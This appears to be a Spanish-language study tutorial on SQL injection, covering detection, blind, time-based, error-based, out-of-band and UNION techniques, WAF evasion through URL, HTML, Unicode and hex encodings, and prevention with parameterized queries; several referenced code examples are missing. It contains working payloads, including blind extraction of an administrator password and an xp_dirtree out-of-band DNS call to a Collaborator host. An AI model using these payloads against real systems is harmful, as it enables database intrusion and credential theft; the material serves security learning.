SQL Injection
En esta sección abordaremos todo lo relacionado a la vulnerabilidad SQL Injection, su explotación, como protegerse de los diversos ataques SQLi que existen, ejemplos practicos en laboratorios, etc.
Last updated
En esta sección abordaremos todo lo relacionado a la vulnerabilidad SQL Injection, su explotación, como protegerse de los diversos ataques SQLi que existen, ejemplos practicos en laboratorios, etc.
Last updated
Las vulnerabilidades de SQL Injection son fallos de seguridad que ocurren cuando una aplicación web permite a un atacante interferir con las consultas a la base de datos. Esto sucede cuando los datos ingresados por un usuario no se manejan adecuadamente, permitiendo al atacante modificar el comando SQL original. Como resultado, el atacante podría acceder, cambiar o eliminar datos sin autorización.
Este tipo de vulnerabilidad como bien sabemos es una vulnerabilidad la cual nos permite poder acceder a ciertos tipos de datos de backend o del servidor en si mismo los cuales no deberían ser accesibles por un usuario normal a través de la interfaz de una aplicación, ahora bien el proceso consiste en poder interceptar las consultas que hace una aplicación a su base de datos para su correcto funcionamiento de ciertos elementos, la imagen 1 refleja el proceso llevado a cabo:
Aqui podemos observar como un atacante puede realizar una consulta de nombre de usuario, contraseña de la tabla users y los caracteres ‘ y - - son parte de la secuencia SQL injection.
Ahora bien la consulta le podemos aumentar un poco la complejidad y poder obtener más datos presentes de otra tabla como por ejm: de la tabla productos obtener todo los presentes junto con sus nombres, descripcion solo aquellos que sean parte de la categoria “Regalos” y a ese producto consultado añadirle su usuario perteneciente (username) junto con su password.
Y esa sería la forma, asi es como vamos aprendiendo a entender que es SQL injection.
La verdad es que conlleva un impacto grande si se puede llevar a cabo, como mostraba en los ejemplos anteriores se puede acceder a datos confidenciales del tipo: contraseñas, cuentas bancarias, direcciones, correos electronicos, transacciones, etc…
El problema es que si un ataque como este se lleva a cabo supondría un gran riesgo ya que estaria la empresa perdiendo la integridad y privacidad de los datos.
La inyección SQL se puede detectar mediante un conjunto de pruebas manuales sistematicas que se llevan a cabo en todos los inputs de la aplicación para testear posible irregularidades y así definir el alcance de cada comando SQL.
Enviar la comilla simple '
y buscar errores u otras anomalías.
Enviar alguna sintaxis específica de SQL que evalúe el valor base (original) del punto de entrada y un valor diferente, y buscar diferencias sistemáticas en las respuestas de la aplicación resultante.
Con esto puedo dar un ejm: para el caso de una aplicacion que tengamos que ingresar mediante un nombre de usuario y una contraseña, en ese caso podemos hacer una inyección que se anide a parte de la consulta que la aplicación debería hacer a la base de datos, por ejm la consulta como tal que debería hacer la aplicacion es esta:
Y ahi ya vemos que se intenta encontrar coincidencia entre el nombre de usuario que se digita y la contraseña con los valores seteados en la BD, ahora lo que podemos hacer como sql Inyección es intentar añadir la condición de ‘ OR ‘1 ‘= ‘1 cuando se haga un Assert entre nombre de usuario de la BD y el que se digita pero hay algo curioso, ¿por qué están las comillas tres y después una sola? las tres primera suponen el OR 1 =, que se verifica como una posible solución del tipo: “O esto también es así mira” entonces al leer la consulta el servidor queda aceptando la afirmación ya que lo que se deja al final es otro 1, O 1=1 ? claro que son iguales es TRUE en ese caso ten te devuelvo toda la consulta que me pediste.
por eso es tan importante sanitizar este tipo de problemas en las aplicaciones para ahorrarnos problemas en el futuro.
Enviar condiciones booleanas como OR 1=1
y OR 1=2
y buscar diferencias en las respuestas de la aplicación. (muy parecido al ejemplo anterior, solo que en este caso solo la consulta logica como tal directamente).
Enviar cargas útiles diseñadas para provocar retrasos cuando se ejecutan dentro de una consulta SQL y buscar diferencias en el tiempo necesario para responder.
Este tipo de sql inyección se refiere a cuando tenemos dentro de la misma URL de la pagina o aplicacion web una consulta que está clara desde la URL (lo cual no debería ser así), para eso existen diferentes tipos de creación de vistas seguras; en fin, lo que podriamos hacer nosotros como atacantes es crear un payload o carga util que intente retrasar un poco la consulta SQL para así darnos una idea de que tanto se demora la aplicación en responder frente a retrasos con el fin de poder conocer un poco más la BD e intentar crear un vector de ataque por SQL inyección.
Por debajo del telon está el backend que se encarga de la consulta hacía la BD que sería así:
Y el payload que podriamos poner sería despues de nombre producto:
y como sabemos que toda la vida 1=1 retornará TRUE entonces hará el retraso 5 segundos, y si este payload es exitoso podriamos inferir cuanto se demora en responder la aplicacion a demoras de carga y además podriamos empezar a mirar más ataques de diversos contextos por sql inyección.
¿Que es el - - al final de cada comando sql i ? Agregar --
al final de una carga útil de inyección SQL, a uno como atacante le asegura que cualquier texto que siga a ese comentario no afecte la ejecución de la consulta maliciosa, en resumen para comentar lo que siga de Consulta SQL o cualquier otro comando subyacente y siguente a los --
será interpretado como comentario.
En este tipo de ataque que se lleva a cabo fuera del ancho de banda de red normal de una consulta SQL lo que el atacante pretende lograr es poder lograr monitorear, recopilar información subyacente a la aplicacion y la consulta no la dara directamente la aplicación sino un punto final remoto que el atacante controla.
La inyección de SQL fuera de banda solo es posible si el servidor que está utilizando tiene comandos que activan solicitudes DNS o HTTP. Sin embargo, ese es el caso de todos los servidores SQL populares, por ejm:
Si el servidor de base de datos MySQL se inicia con una variable de sistema global segura_file_priv vacía, que es el caso predeterminado para el servidor MySQL 5.5.52 y versiones anteriores (y en la bifurcación MariaDB), un atacante puede filtrar datos y luego usar la función load_file para crear una solicitud a un nombre de dominio, poniendo los datos exfiltrados en la solicitud.
U otro ejemplo más sencillo, de nuevo con las consultas de producto: SELECT * FROM productos WHERE nombre = 'nombre_producto’
El atacante intenta inyectar una carga útil OOB que desencadenará una interacción de red fuera de la banda normal. Esto podría implicar, por ejemplo, el uso de una función o un comando SQL específico que inicie una solicitud HTTP a un servidor controlado por el atacante, o el envío de datos a través de una consulta DNS para obtener información a través de consultas de resolución DNS.
En este caso el atacante intenta leer un archivo desde la url que se pasa y ver si puede pasarlo como parte de la consulta SQL, Si esta carga útil es exitosa, desencadenará una solicitud HTTP a http://servidor-del-atacante/miarchivo
, y el atacante podrá monitorear y recopilar la información generada por esa solicitud.
Y más o menos así sería como se llevaría a cabo ese tipo de ataque, pero claro todo depende de las restriccione y configuraciones del servidor, por ello es tan importante mantener consultas parametrizadas y condiciones de exepción dentro del mismo codigo para poder ahorrarse estos ataques.
Este tipo de ataque de inyección SQL consiste en una inyección sql cuando una aplicación es vulnerable a la misma sin embargo no arroja datos de la consulta sql a la aplicación, no obstante si deja indicios de la consulta, por ejm estaba viendo un ejemplo el cual dependiendo de una condición que se establecía aparecía en la aplicación en el panel principal “Bienvenido” o no mostraba el bienvenido en caso tal de que no cumpliera la condición.
Así que para inyecciones SQL que contengan union
por ejemplo no serviria por que el comando es expresamente directo para poder mostrar los resultados de la consulta ya que lo hace es poder juntar tablas “union” y poder mostrar los valores especificados.
Todavía es posible explotar la inyección SQL ciega para acceder a datos no autorizados, pero se deben utilizar técnicas diferentes.
Para este caso podemos activarlo mediante las cookies de sesión para las consultas, ya que dentro de una aplicación Web usamos cookies las cuales se implementan para verificar la consulta de un usuario, mediante el parametro de cookie “TrackingID”
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
Y tracking ID cuando procesa una solicitud la hace con una consulta SQL para poder verificar el usuario establecido:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4’
Esta consulta es vulnerable a la inyección SQL, pero los resultados de la consulta no se devuelven al usuario. Sin embargo, la aplicación se comporta de manera diferente dependiendo de si la consulta devuelve algún dato; tal cual lo que mencionamos de bienvenido o no bienvenido.
Con ello la inyección SQL ya es vulnerable, basta con ejercer unas condicionales como las primeras que vimos del tipo 'or 1 = 1
'or 1 = 2
para demostrar como dependiendo de si se cumple o no la condición podemos ver el mensaje en la aplicación web.
…xyz' AND '1'='1 …xyz' AND '1'='2
Y esto precisamente es lo que nos permite extraer información de la consulta bit a bit.
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
En esta consulta nos arrojara bienvenido nuevamente lo que significa qué finalmente la contraseña del administrador es mayor que m.
si probamos >’t nos daremos cuenta que solo retorna bienvenido lo cual indica que no es mayor que ‘t’ el primer caracter de la contraseña.
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
si en cambio hacemos el proceso con = s nos daremos cuenta que nos retorna de nuevo bienvenido nuevamente, lo cual nos da el indicio de que s si está dentro de la contraseña, el punto negativo de esto es que ir adivinando por partes cual es la contraseña será un proceso largo y demorado considerando todos los caracteres faltantes, ahora bien el proceso podría ser automatizado con alguna herramienta para optimizar el tiempo.
una manera equivocada de ocultar los datos en una pagina es que de una consulta SQL que hace una app a la BD, dentro de lo que consulta añade un parametro de consulta llamado
este se encarga precisamente de si released = 1 solo se mostrará el item consultado de lo contrario si es = 0 no tendrá precision en un solo item sino todos los presentes, ya que la consulta de por si arroja todo cuando añade el “*”
Si añadimos esto a la URL:
el ‘ - - literalmente nos va a comentar la ultima parte de la consulta que es lo que nos interesa el released = 1 ahora será un simple comentario y por ende esto significa que se muestran todos los productos, incluidos los productos inéditos.
también podemos mostrar todas las categorias que deseemos de ser posible:
Y la consulta SQL sería:
Esto se puede hacer gracias al comando UNION que tenemos dentro de SQL que nos permite y ayuda con el proceso de unir a la consulta otra tabla, por ejm: estamos consultado los nombres y descripcion de unos productos de la tabla productos lo cuales pertenecen a la categoria “Gifts”, valga la redundancia:
Pero ahora queremos añadir un ‘UNION - - a la fiesta por que deseamos consultar de paso unos valores de la tabla “users” los cuales son name, password, para eso haremos lo siguiente:
Tan simple como eso y ya estaremos una consulta doble, que nos devolverá 4 valores.
Pero tambien podemos ver cual es el numero de columnas especificas de una tabla al momento de hacer un ataque de inyeccion SQL por UNION para saber cuantas columnas se devuelven de la tabla original.
Lo podemos hacer por ORDER BY, que consiste en aumentar iterativamente el numero de columnas hasta que devuelva un error ahi ya podemos saber que no hay más columnas de las que ya pusimos.
Ejemplo de error:
El segundo método implica una serie de valores seteados a NULL:
Hasta llegar a recibir un error del tipo:
En este caso ya tenemos el numero de cadenas especificas solo queda sondear cada columna probando y comprobando si contiene datos de cadena, lo podemos hacer con una consulta UNION SELECT para cada columna que tengamos y vamos probando hasta dar con la columna que es comptabible con el tipo de dato “cadena” que pongamos, ahora bien en caso tal de que arroje un error por que el tipo de dato de cadena no es compatible con el tipo de dato de una cadena en ese caso retornará un error.
De esta forma debimos ir sondeando cada columna para poder ir probando el tipo de dato cadena.
Y este tipo de error viene cuando no es compatible el tipo de dato de una columna con el tipo de dato cadena, por eso lanza ese error.
Si no se produce un error y la respuesta de la aplicación contiene algún contenido adicional, incluido el valor de cadena inyectado, entonces la columna relevante es adecuada para recuperar datos de cadena. → Y asi es como sabemos que podemos obtener datos de esa columna especifica con el tipo de dato cadena.
Ahora si ya que pudimos definir el numero de columnas, y encontrar que columna es compatible con las cadenas, ya queda es poder obtener los datos de tipo cadena de esa columna en especifico.
Esta puede ser una muy buena forma de poder obtener ciertos datos de la BD con base a errores que la misma aplicacion nos muestra cuando intentamos inyectar un comando, este ha sido uno de los errores más comunes en inyecciones SQL y es que a punta de inyeccion parametrizada con errores a proposito bajo condiciones que si o si van a pasar hacen que la aplicacion retorne errores y por consiguiente muestre esos errores, son el paso para lograr obtener lo que se desea ya que los errores muestran informacion que realmente no deberian mostrar.
Aqui podemos ver una condicion que desencadena dos condiciones o a o 1/0 pero sabemos muy bien que 1/0 retornará un error ya que es una division matematicamente imposible, ahi ya partiriamos para empezar el ataque verdadero.
Aqui podemos ver como está vez damos la condicion de si el nombre de usuario es igual a administrador y el caracter de la posicion 1 de una longitud lo podemos ir probando, teniendo en cuenta las dos condiciones que retornan ‘a’ o 1/0 que será la que nos dara el error.
el lab es un lab que me permite saber la longitud de la contraseña del admin.
Ese el comando que podemos usar para determinar la longitud.
Este tipo de inyeccion SQL viene a ser parte cuando no podemos llevar a cabo una inyeccion SQL por medio de errores en la aplicacion en la base de datos ya que la aplicacion sabe tratar con ese tipo de errores y no muestra nada por pantalla, entonces en esos casos viene a ser parte la inyeccion provocando retrasos ya que podemos verificar la veracidad de una consulta dependiendo de una condicion logica que establezcamos en el tiempo de retraso que pongamos, y si cumple o no el tiempo de retraso en la respuesta http lo dirá todo.
La primera de estas entradas no desencadena un retraso porque la condición 1=2
es falsa.
La segunda entrada desencadena un retraso de 10 segundos, porque la condición 1=1
es verdadera.
Este tipo de inyeccion SQL se supone que no se puede resolver mediante las tecnicas anteriores que hemos aprendido, en esta no podemos mediante errores visuales de la BD obtener informacion, ni tampoco dependiendo de una sobrecarga en el tiempo de respuesta, o mucho menos inyectando un SQL dentro de una cookie de seguimiento con un condicional bilateral que diera una respuesta; en este caso tenemos que acudir a establecer un comando SQL que lo que hará será mediante unas condiciones especificas enviar las posibles respuestas a un canal externo de la aplicacion que previamente nosotros configuraremos, un server y un cliente para poder administrar todo el proceso.
En este caso Burpsuite, maneja una herramienta llamada burp Collaborator que será un servidor que proporciona implementaciones personalizadas de varios servicios de red, incluido DNS. Le permite detectar cuándo se producen interacciones de red como resultado del envío de cargas útiles individuales a una aplicación vulnerable.
Pero la tecnicas implementadas para activar una consulta DNS son especificas de cada base de datos, varian segun la base de datos, por ejm: en microsoft SQL es así:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
Para provocar una busqueda DNS de un dominio especifico.
Esto hace que la base de datos realice una búsqueda para el siguiente dominio:
Ahora que vamos a hacer ahora, simple, haremos el laboratorio primero sobre ataque inyeccion SQL fuera de banda.
Por lo general esta es una vulnerabilidad de inyeccion SQL en la cual el atactante intenta generar una inyeccion que no generará problema de primeras en la BD sin embargo mucho despues cuando esa informacion almacenada la aplicacion o sitio la necesite hará una consulta para obtener esa informacion y se convertirá en una consultada infectada de la inyeccion SQL que se hizo en un principio.
La inyección de SQL de segundo orden a menudo ocurre en situaciones en las que los desarrolladores conocen las vulnerabilidades de la inyección de SQL y, por lo tanto, manejan de manera segura la ubicación inicial de la entrada en la base de datos. Cuando los datos se procesan posteriormente, se consideran seguros, ya que previamente se colocaron de forma segura en la base de datos. En este punto, los datos se manejan de forma insegura porque el desarrollador los considera erróneamente confiables.
Hay muchas caracteristicas esenciales que son muy similares en diferentes bases de datos ya sea (oracle, mssql, mysql, postgresql, etc.) y eso facilita un poco cuando se trata de un ataque a inyección SQL sin embargo, hay algunas cosas muy diferentes dependiendo del tipo de BD y aunque son pocas, son esenciales en cierto modo para algunos procesos referentes a “SQLi”
Existen muchas diferencias entre las bases de datos comunes. Esto significa que algunas técnicas para detectar y explotar la inyección SQL funcionan de manera diferente en diferentes plataformas. Por ejemplo:
Sintaxis para la concatenación de cadenas. (||, +)
Comentarios. (- -, #, //)
Consultas por lotes (o apiladas).
API específicas de la plataforma.
Error de mensajes.
Despues de saber que hay presente un posible vector de ataque mediante inyección SQL podemos inferir ciertos datos de informacion que pueden ser importantes tambien, como por ejm saber la version de la BD, o que tipo de tablas hay y las columnas que contienen y si tenemos presente cual es la BD podemos de paso tambien tirar comandos especificos para esa BD, por ejm para la version en oracle sería:
También puede identificar qué tablas de bases de datos existen y las columnas que contienen. Por ejemplo, en la mayoría de las bases de datos puede ejecutar la siguiente consulta para enumerar las tablas:
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Por ejm podemos hacer un UNION para averiguar la version de una BD:
Podemos ver como obtenemos las tablas de una base de datos, esta products, users, feedback.
Y tambien podemos hacer consultas individuales como por ejm enumerar las columnas de una tabla en especifico con information_schema.columns
Esto solo se puede hacer en bases de datos que no sean Oracle, oracle mandado a recoger.
En este caso la inyeccion SQL viene a estar dada por un ataque que no es directo realmente sino más bien un ataque que viene dado por los archivos JSON o XML de una aplicacion que son los que se comunican con la BD del lado del servidor, en este caso algunas veces podemos inyectar comandos mediantes codificaciones que nos servirán para poder llevar a cabo el ataque, como por ejm: “codificamos la palabra S de SELECT” para una consulta que haremos.
Esto se decodificará en el lado del servidor antes de pasarlo al intérprete de SQL.
Tanto los clientes como los servidores utilizan una variedad de codificaciones diferentes para pasar datos entre sistemas. Cuando realmente quieren utilizar los datos, esto a menudo significa que primero tienen que decodificarlos. La secuencia exacta de los pasos de decodificación que se realizan depende del contexto en el que aparecen los datos. Por ejemplo, un parámetro de consulta suele estar decodificado en URL en el lado del servidor, mientras que el contenido de texto de un elemento HTML puede estar decodificado en HTML en el lado del cliente.
Al construir un ataque, debes pensar dónde exactamente se inyecta tu carga útil. Si puede inferir cómo se decodifica su entrada en función de este contexto, potencialmente puede identificar formas alternativas de representar la misma carga útil.
En las URL, una serie de caracteres reservados tienen un significado especial. Por ejemplo, se utiliza un signo comercial ( &
) como delimitador para separar los parámetros en la cadena de consulta. El problema es que las entradas basadas en URL pueden contener estos caracteres por un motivo diferente. Considere un parámetro que contiene la consulta de búsqueda de un usuario. ¿Qué sucede si el usuario busca algo como "Fish & Chips"?
Los navegadores codifican automáticamente la URL de cualquier carácter que pueda causar ambigüedad en los analizadores. Por lo general, esto significa sustituirlos por un %
carácter y su código hexadecimal de 2 dígitos de la siguiente manera:
Esto garantiza que el signo comercial no se confunda con un delimitador.
Cualquier entrada basada en URL se decodifica automáticamente en el lado del servidor antes de asignarla a las variables relevantes. Esto significa que, en lo que respecta a la mayoría de los servidores, secuencias como %22
, %3C
y %3E
en un parámetro de consulta son sinónimas de "
, <
y >
caracteres respectivamente. En otras palabras, puede inyectar datos codificados en URL a través de la URL y, por lo general, la aplicación de fondo los interpretará correctamente.
Ocasionalmente, es posible que los WAF y similares no decodifiquen correctamente la URL de su entrada al verificarla. En este caso, es posible que pueda pasar de contrabando cargas útiles a la aplicación de back-end simplemente codificando cualquier carácter o palabra que esté en la lista negra. Por ejemplo, en un ataque de inyección SQL, podría codificar las palabras clave, así que SELECT
se convierte %53%45%4C%45%43%54
y así sucesivamente.
Si observa detenidamente la carga útil XSS de nuestro ejemplo anterior, observe que la carga útil se inyecta dentro de un atributo HTML, es decir, el onerror
controlador de eventos. Si las comprobaciones del lado del servidor buscan la alert()
carga útil explícitamente, es posible que no la detecten si codifica HTML uno o más de los caracteres:
Cuando el navegador muestre la página, decodificará y ejecutará la carga útil inyectada.
Curiosamente, cuando se utiliza codificación HTML de estilo decimal o hexadecimal, opcionalmente se puede incluir un número arbitrario de ceros a la izquierda en los puntos del código. Algunos WAF y otros filtros de entrada no tienen en cuenta esto adecuadamente.
Si su carga útil aún se bloquea después de codificarla en HTML, es posible que pueda evadir el filtro simplemente anteponiendo los puntos del código con algunos ceros:
Las secuencias de escape Unicode constan del prefijo \\u
seguido del código hexadecimal de cuatro dígitos del carácter. Por ejemplo, \\u003a
representa dos puntos. ES6 también admite una nueva forma de escape Unicode mediante llaves: \\u{3a}
.
Al analizar cadenas, la mayoría de los lenguajes de programación decodifican estos escapes Unicode. Esto incluye el motor JavaScript utilizado por los navegadores. Al inyectar en un contexto de cadena, puede ofuscar las cargas útiles del lado del cliente usando Unicode, tal como lo hicimos con los escapes HTML en el ejemplo anterior.
Como esto permanecerá codificado en el lado del servidor, es posible que no se detecte hasta que el navegador lo decodifique nuevamente.
Dentro de una cadena, puedes escapar de cualquier carácter como este. Sin embargo, fuera de una cadena, escapar de algunos caracteres provocará un error de sintaxis. Esto incluye abrir y cerrar paréntesis, por ejemplo.
También vale la pena señalar que los escapes Unicode estilo ES6 también permiten ceros iniciales opcionales, por lo que algunos WAF pueden engañarse fácilmente usando la misma técnica que usamos para las codificaciones HTML. Por ejemplo:
Otra opción al inyectar en un contexto de cadena es usar escapes hexadecimales, que representan caracteres usando su punto de código hexadecimal, con el prefijo \\x
. Por ejemplo, la letra minúscula a
está representada por \\x61
.
Al igual que los escapes Unicode, estos se decodificarán en el lado del cliente siempre que la entrada se evalúe como una cadena:
Tenga en cuenta que a veces también puede ofuscar declaraciones SQL de manera similar usando el prefijo 0x
. Por ejemplo, 0x53454c454354
se puede decodificar para formar la SELECT
palabra clave.
El escape octal funciona prácticamente de la misma manera que el escape hexadecimal, excepto que las referencias de personajes utilizan un sistema de numeración de base 8 en lugar de base 16. Estos tienen el prefijo de una barra invertida independiente, lo que significa que la letra minúscula a
está representada por \\141
.
Es importante tener en cuenta que puede combinar codificaciones para ocultar sus cargas detrás de múltiples capas de ofuscación. Mire la javascript:
URL en el siguiente ejemplo:
Los navegadores primero decodificarán HTML, \,
lo que generará una barra invertida. Esto tiene el efecto de convertir los u0061
caracteres que de otro modo serían arbitrarios en el escape Unicode \\u0061
:
Luego, esto se decodifica aún más para formar una carga útil XSS funcional:
Claramente, para inyectar con éxito una carga útil de esta manera, necesita una comprensión sólida de qué decodificación se realiza en su entrada y en qué orden.
¿Cómo se sabe que WAF usa una aplicacion web?
Analizar los encabezados HTTP de las respuestas:
Los WAF suelen agregar encabezados HTTP personalizados a las respuestas del servidor para indicar que se está utilizando un WAF. Algunos ejemplos comunes de estos encabezados son X-WAF
, Server: WAF
, X-WebShield
, entre otros. Puedes examinar los encabezados HTTP en las respuestas de la aplicación para buscar pistas sobre la presencia de un WAF.
Escaneo de puertos y detección de software:
Utiliza herramientas de escaneo de puertos y detección de software para analizar la aplicación web. Estas herramientas pueden identificar si se está utilizando un WAF mediante la detección de patrones específicos en las respuestas del servidor.
La mejor forma de prevenir inyecciones SQL es creando consultas parametrizadas, me explico, cuando parametrizamos las consultas estamos omitiendo que cuando se hace una consulta un atacante pueda añadir un extra de inyección que se ejecute con la consulta original; esto pasa porque en el codigo PHP o el que se conecte a la BD crean una consulta concatenando la entrada de un usuario (input), vamos a ver un ejemplo para aprender mejor:
Aqui podemos ver ya como se hace una consulta de productos donde la categoria viene concatenada por el input de categoria que escoja el Usuario, en este caso este codigo es vulnerable a la inyección SQL.
Puede reescribir este código de manera que evite que la entrada del usuario interfiera con la estructura de la consulta:
En este ejemplo, usamos un PreparedStatement
y sustituimos el valor del parámetro utilizando setString(1, input)
. Esto asegura que cualquier entrada del usuario se trate de manera segura y evita la posibilidad de inyección SQL, ya que el valor del parámetro se trata como un valor y no como parte de la consulta SQL.
Puede utilizar consultas parametrizadas para cualquier situación en la que aparezcan entradas que no sean de confianza como datos dentro de la consulta, incluida la WHERE
cláusula y los valores de una declaración INSERT
o UPDATE
.
Para que una consulta parametrizada sea eficaz a la hora de prevenir la inyección de SQL, la cadena que se utiliza en la consulta siempre debe ser una constante codificada. Nunca debe contener datos variables de ningún origen. No caiga en la tentación de decidir caso por caso si un elemento de datos es confiable y continúe usando la concatenación de cadenas dentro de la consulta para los casos que se consideren seguros. Es fácil cometer errores sobre el posible origen de los datos o que cambios en otro código contaminen los datos confiables.
Con esto nos queda claro que no debemos incluir datos variables como input por parte del usuario en la consulta SQL de forma concatenada, tampoco debemos internar “Controlar” los diversos tipos de inputs ya que pueden variar y hay muchas posibilidades, la mejor forma es paramatrizar la consulta como aprendimos con PreparedStatement.
Evitar datos variables: La idea principal aquí es que nunca debes incluir datos variables de ninguna fuente (como entrada del usuario) directamente en la cadena de consulta. Esto se debe a que los datos variables pueden ser maliciosos o inesperados, y si se incluyen en la consulta sin una precaución adecuada, pueden llevar a la inyección SQL.
Ejemplo →podriamos tener:
Envío de cargas útiles diseñadas para desencadenar una interacción de red fuera de banda (OOB) out-of-Band cuando se ejecuta dentro de una consulta SQL y monitoreo de cualquier interacción resultante.
lo que intentamos es poder lograr obtener los datos de una consulta SQL union, ya que ahora ya pudimos deducir el numero de columnas especificas del laboratorio anterior , ahora solo es determinar que columna es compatible con el tipo de dato cadena en este caso para poder obtener los datos cadena de esa columna en especifico.
Y el otro es incluye un cliente integrado que está configurado para funcionar con Burp Collaborator desde el primer momento.
Por ejemplo, digamos que estás intentando explotar donde tu entrada se pasa al eval()
receptor como una cadena. Si tus intentos iniciales son bloqueados, intenta escapar de uno de los personajes de la siguiente manera: